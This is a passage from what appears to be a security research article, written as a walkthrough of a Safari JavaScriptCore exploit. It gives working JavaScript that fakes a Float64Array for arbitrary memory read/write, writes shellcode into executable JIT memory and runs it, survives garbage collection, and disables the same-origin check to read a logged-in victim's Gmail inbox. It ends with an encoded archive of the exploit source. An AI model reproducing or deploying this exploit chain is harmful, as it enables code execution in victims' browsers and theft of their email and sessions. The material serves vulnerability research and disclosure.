----[ 6.2 - Putting things together: faking a Float64Array
Float64Arrays are implemented by the native JSArrayBufferView class. In
addition to the standard JSObject fields, this class also contains the
pointer to the backing memory (we'll refer to it as 'vector', similar to
the source code), as well as a length and mode field (both 32-bit
integers).
Since we place our Float64Array inside the inline slots of another object
(referred to as 'container' from now on), we'll have to deal with some
restrictions that arise due to the JSValue encoding. Specifically we
* cannot set a nullptr butterfly pointer since null isn't a valid
JSValue. This is fine for now as the butterfly won't be accessed for
simple element access operations
* cannot set a valid mode field since it has to be larger than
0x00010000 due to the NaN-boxing. We can freely control the length
field though
* can only set the vector to point to another JSObject since these are
the only pointers that a JSValue can contain
Due to the last constraint we'll set up the Float64Array's vector to point
to a Uint8Array instance:
+----------------+ +----------------+
| Float64Array | +------------->| Uint8Array |
| | | | |
| JSCell | | | JSCell |
| butterfly | | | butterfly |
| vector ------+---+ | vector |
| length | | length |
| mode | | mode |
+----------------+ +----------------+
With this we can now set the data pointer of the second array to an
arbitrary address, providing us with an arbitrary memory read/write.
Below is the code for creating a fake Float64Array instance using our
previous exploit primitives. The attached exploit code then creates a
global 'memory' object which provides convenient methods to read from and
write to arbitrary memory regions.
sprayFloat64ArrayStructures();
// Create the array that will be used to
// read and write arbitrary memory addresses.
var hax = new Uint8Array(0x1000);
var jsCellHeader = new Int64([
00, 0x10, 00, 00, // m_structureID, current guess
0x0, // m_indexingType
0x27, // m_type, Float64Array
0x18, // m_flags, OverridesGetOwnPropertySlot |
// InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
0x1 // m_cellState, NewWhite
]);
var container = {
jsCellHeader: jsCellHeader.encodeAsJSVal(),
butterfly: false, // Some arbitrary value
vector: hax,
lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue()
};
// Create the fake Float64Array.
var address = Add(addrof(container), 16);
var fakearray = fakeobj(address);
// Find the correct structure ID.
while (!(fakearray instanceof Float64Array)) {
jsCellHeader.assignAdd(jsCellHeader, Int64.One);
container.jsCellHeader = jsCellHeader.encodeAsJSVal();
}
// All done, fakearray now points onto the hax array
To "visualize" the result, here is some lldb output. The container object
is located at 0x11321e1a0:
(lldb) x/6gx 0x11321e1a0
0x11321e1a0: 0x0100150000001138 0x0000000000000000
0x11321e1b0: 0x0118270000001000 0x0000000000000006
0x11321e1c0: 0x0000000113217360 0x0001000000000010
(lldb) p *(JSC::JSArrayBufferView*)(0x11321e1a0 + 0x10)
(JSC::JSArrayBufferView) $0 = {
JSC::JSNonFinalObject = {
JSC::JSObject = {
JSC::JSCell = {
m_structureID = 4096
m_indexingType = '\0'
m_type = Float64ArrayType
m_flags = '\x18'
m_cellState = NewWhite
}
m_butterfly = {
JSC::CopyBarrierBase = (m_value = 0x0000000000000006)
}
}
}
m_vector = {
JSC::CopyBarrierBase = (m_value = 0x0000000113217360)
}
m_length = 16
m_mode = 65536
}
Note that m_butterfly as well as m_mode are invalid as we cannot write null
there. This causes no trouble for now but will be problematic once a garbage
collection run occurs. We'll deal with this later.
----[ 6.3 - Executing shellcode
One nice thing about JavaScript engines is the fact that all of them make
use of JIT compiling. This requires writing instructions into a page in
memory and later executing them. For that reasons most engines, including
JSC, allocate memory regions that are both writable and executable. This is
a good target for our exploit. We will use our memory read/write primitive
to leak a pointer into the JIT compiled code for a JavaScript function,
then write our shellcode there and call the function, resulting in our own
code being executed.
The attached PoC exploit implements this. Below is the relevant part of the
runShellcode function.
// This simply creates a function and calls it multiple times to
// trigger JIT compilation.
var func = makeJITCompiledFunction();
var funcAddr = addrof(func);
print("[+] Shellcode function object @ " + funcAddr);
var executableAddr = memory.readInt64(Add(funcAddr, 24));
print("[+] Executable instance @ " + executableAddr);
var jitCodeAddr = memory.readInt64(Add(executableAddr, 16));
print("[+] JITCode instance @ " + jitCodeAddr);
var codeAddr = memory.readInt64(Add(jitCodeAddr, 32));
print("[+] RWX memory @ " + codeAddr.toString());
print("[+] Writing shellcode...");
memory.write(codeAddr, shellcode);
print("[!] Jumping into shellcode...");
func();
As can be seen, the PoC code performs the pointer leaking by reading a
couple of pointers from fixed offsets into a set of objects, starting from
a JavaScript function object. This isn't great (since offsets can change
between versions), but suffices for demonstration purposes. As a first
improvement, one should try to detect valid pointers using some simple
heuristics (highest bits all zero, "close" to other known memory regions,
...). Next, it might be possible to detect some objects based on unique
memory patterns. For example, all classes inheriting from JSCell (such as
ExecutableBase) will start with a recognizable header. Also, the JIT
compiled code itself will likely start with a known function prologue.
Note that starting with iOS 10, JSC no longer allocates a single RWX region
but rather uses two virtual mappings to the same physical memory region,
one of them executable and the other one writable. A special version of
memcpy is then emitted at runtime which contains the (random) address of
the writable region as immediate value and is mapped --X, preventing an
attacker from reading the address. To bypass this, a short ROP chain would
now be required to call this memcpy before jumping into the executable
mapping.
----[ 6.4 - Staying alive past garbage collection
If we wanted to keep our renderer process alive past our initial exploit
(we'll later see why we might want that), we are currently faced with an
immediate crash once the garbage collector kicks in. This happens mainly
because the butterfly of our faked Float64Array is an invalid pointer, but
not null, and will thus be accessed during GC. From
JSObject::visitChildren:
Butterfly* butterfly = thisObject->m_butterfly.get();
if (butterfly)
thisObject->visitButterfly(visitor, butterfly,
thisObject->structure(visitor.vm()));
We could set the butterfly pointer of our fake array to nullptr, but this
would lead to another crash since that value is also a property of our
container object and would be treated as a JSObject pointer. We will thus
do the following:
1. Create an empty object. The structure of this object will describe
an object with the default amount of inline storage (6 slots), but
none of them being used.
2. Copy the JSCell header (containing the structure ID) to the
container object. We've now caused the engine to "forget" about the
properties of the container object that make up our fake array.
3. Set the butterfly pointer of the fake array to nullptr, and, while
we're at it also replace the JSCell of that object with one from a
default Float64Array instance
The last step is required since we might end up with the structure of a
Float64Array with some property due to our structure spraying before.
These three steps give us a stable exploit.
On a final note, when overwriting the code of a JIT compiled function, care
must be taken to return a valid JSValue (if process continuation is
desired). Failing to do so will likely result in a crash during the
next GC, as the returned value will be kept by the engine and inspected by
the collector.
----[ 6.5 - Summary
At this point it is time for a quick summary of the full exploit:
1. Spray Float64Array structures
2. Allocate a container object with inline properties that together
build up a Float64Array instance in its inline property slots. Use a
high initial structure ID which will likely be correct due to the
previous spray. Set the data pointer of the array to point to a
Uint8Array instance.
3. Leak the address of the container object and create a fake object
pointing to the Float64Array inside the container object
4. See if the structure ID guess was correct using 'instanceof'. If not
increase the structure ID by assigning a new value to the
corresponding property of the container object. Repeat until we have
a Float64Array.
5. Read from and write to arbitrary memory addresses by writing the
data pointer of the Uint8Array
6. With that repair the container and the Float64Array instance to
avoid crashing during garbage collection
--[ 7 - Abusing the renderer process
Usually, from here the next logical step would be to fire up a sandbox
escape exploit of some sort for further compromise of the target machine.
Since discussion of these is out of scope for this article, and due to good
coverage of those in other places, let us instead explore our current
situation.
----[ 7.1 - WebKit process and privilege model
Since WebKit 2 [22] (circa 2011), WebKit features a multi-process model in
which a new renderer process is spawned for every tab. Besides stability
and performance reasons, this also provides the basis for a sandboxing
infrastructure to limit the damage that a compromised renderer process can
do to the system.
----[ 7.2 - The same-origin policy
The same-origin policy (SOP) provides the basis for (client-side) web
security. It prevents content originating from origin A from interfering
with content originating from another origin B. This includes script level
access (e.g. accessing DOM objects inside another window) as well as
network level access (e.g. XMLHttpRequests). Interestingly, in WebKit the
SOP is enforced inside the renderer processes, which means we can bypass it
at this point. The same is currently true for all major web browsers, but
chrome is about to change this with their site-isolation project [23].
This fact is nothing new and has even been exploited in the past, but it is
worth discussing. In essence, this means that a renderer process has full
access to all browser sessions and can send authenticated cross-origin
requests and read the response. An attacker who compromises a renderer
process thus obtains access to all the browser sessions of the victim.
For demonstration purposes we will now modify our exploit to display the
users gmail inbox.
----[ 7.3 - Stealing emails
There is an interesting field inside the SecurityOrigin class in WebKit:
m_universalAccess. If set, it will cause all cross-origin checks to
succeed. We can obtain a reference to the currently active SecurityDomain
instance by following a set of pointers (whose offsets are again dependent
on the current Safari version). We can then enable universalAccess for our
renderer process and can subsequently perform authenticated cross-origin
XMLHttpRequests. Reading emails from gmail then becomes as simple as
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://mail.google.com/mail/u/0/#inbox', false);
xhr.send(); // xhr.responseText now contains the full response
Included is a version of the exploit that does this and displays the
"users" current gmail inbox. For reasons that should be clear by now this
does require a valid gmail session in Safari ;)
--[ 8 - References
[1] http://www.zerodayinitiative.com/advisories/ZDI-16-485/
[2] https://webkit.org/blog/3362/introducing-the-webkit-ftl-jit/
[3] http://trac.webkit.org/wiki/JavaScriptCore
[4] http://www.ecma-international.org/
ecma-262/6.0/#sec-ecmascript-data-types-and-values
[5]http://www.ecma-international.org/ecma-262/6.0/#sec-objects
[6] https://en.wikipedia.org/wiki/Double-precision_floating-point_format
[7] http://www.ecma-international.org/
ecma-262/6.0/#sec-array-exotic-objects
[8] http://www.ecma-international.org/
ecma-262/6.0/#sec-ecmascript-standard-built-in-objects
[9] https://developer.mozilla.org/en-US/docs/Web/JavaScript/
Reference/Global_Objects/Array/slice).
[10] https://github.com/WebKit/webkit/
blob/320b1fc3f6f47a31b6ccb4578bcea56c32c9e10b/Source/JavaScriptCore/runtime
/ArrayPrototype.cpp#L848
[11] https://developer.mozilla.org/en-US/docs/Web/
JavaScript/Reference/Global_Objects/Symbol/species
[12] http://www.ecma-international.org/ecma-262/6.0/#sec-type-conversion
[13] https://bugzilla.mozilla.org/show_bug.cgi?id=735104
[14] https://bugzilla.mozilla.org/show_bug.cgi?id=983344
[15] https://bugs.chromium.org/p/chromium/issues/detail?id=554946
[16] https://www.gnu.org/software/guile/manual/html_node/
Conservative-GC.html
[17] http://www.ecma-international.org/
ecma-262/6.0/#sec-ecmascript-language-types-number-type
[18] http://www.ecma-international.org/ecma-262/6.0/#sec-typedarray-objects
[19] https://developers.google.com/v8/design#fast-property-access
[20] http://www.ecma-international.org/
ecma-262/6.0/#sec-operations-on-objects
[21] http://www.ecma-international.org/ecma-262/6.0/
#sec-ordinary-object-internal-methods-and-internal-slots-delete-p
[22] https://trac.webkit.org/wiki/WebKit2
[23] https://www.chromium.org/developers/design-documents/site-isolation
--[ 9 - Source code
begin 644 src.zip
M4$L#!`H``````%&N1DD````````````````$`!P`<W)C+U54"0`#":OV5Q6K
M]E=U>`L``03U`0``!%````!02P,$%`````@`%ZY&2;A,.B1W`P``)@D```X`
...
M:G-55`4``[.J]E=U>`L``03U`0``!%````!02P$"'@,4````"`"Z;D9)MPF8
M]%<#``!?"```#``8```````!````I(%&&```<W)C+W5T:6QS+FIS550%``-0
H._97=7@+``$$]0$```10````4$L%!@`````&``8`Y`$``.,;````````
`
end
|=[ EOF ]=---------------------------------------------------------------=|
